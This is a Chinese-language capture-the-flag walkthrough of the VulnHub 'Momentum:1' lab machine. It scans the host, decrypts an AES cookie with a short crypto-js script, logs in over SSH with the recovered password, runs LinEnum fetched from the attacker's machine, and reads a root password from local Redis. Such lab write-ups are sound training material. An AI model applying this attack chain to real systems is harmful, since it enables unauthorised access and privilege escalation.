vulnhub Momentum:1


找主机,主机全端口探测

1
2
netdiscover -i eth0
nmap -p- -sV -T5 ip

1.png

gobuster扫描查看到三个目录
2.png

其他目录没什么异常的,js文件夹下有个main.js看到了aes的代码被注释了
查看js代码,获取cookie。查看cookie的头像是aes的解密。加上前面的密码

1
2
3
4
5
6
7
8
http://nodejs.cn/download/        //安装nodejs
npm install crypto-js //在安装crypto-js
node a.js //运行代码

var message = 'U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt';
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(message, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));

3.png
运行代码,得到一串字符
4.png

在线网站解密也可以,不过好多网站不行。
3-2.png

谷歌可以搜到的代码笔,同样的加密。js
3-3.png

上面三种方法都可以得到密码的。然后用户名就是密码的前缀。直接ssh登录就可以了。顺便cat了第一个flag(user.txt)

1
2
ssh auxerre@192.168.0.103
password:auxerre-alienum##

5.png

1
2
3
4
5
6
7
8
9
https://github.com/rebootuser/LinEnum    //下载一个自动收集信息的tool

python3 -m http.server 8081 //利用py来搭一个http服务器

wget http://192.168.0.105:8081/LinEnum.sh //下载文件

chmod +x LinEnum.sh //给执行权

./LinEnum.sh > 1.txt //运行结果写到1.txt

6.png

查一下suid,端口和kernel(内核)。看到端口有个6379,redis数据库默认端口就是6379
7.png

netstat用不了,用ss(socket statistics)来查看端口信息
8.png

直接通过 ‘keys *’
查看有的密钥,然后get password来查看

9.png

1
2
3
redis-cli           //本地直接redis-cli登录
keys * //获取密钥
get rootpass //查看密钥的值

9-2.png

通过ssh -L 来转发在本地查看的一种方法

1
2
ssh -L 6379:127.0.0.1:6379 auxerre@192.168.0.103
redis-cli -h 127.0.0.1 -p 6379

10.png

查看ssh帮助(man)网站
11.png

获得密码之后再登录
cat final flag(root.txt)
get-final-flag.png

其他参考:
1.
https://www.infosecarticles.com/momentum-1-vulnhub-walkthrough/

2.
https://abhijithkumar2000.medium.com/vulnhub-walktrhough-momentum-1-f3d01d1422f7

3.
https://www.sec-in.com/article/1059

4.
http://www.vxer.cn/?id=76

5.
https://nepcodex.com/2021/06/vulnhub-momentum-1-walkthrough-writeup/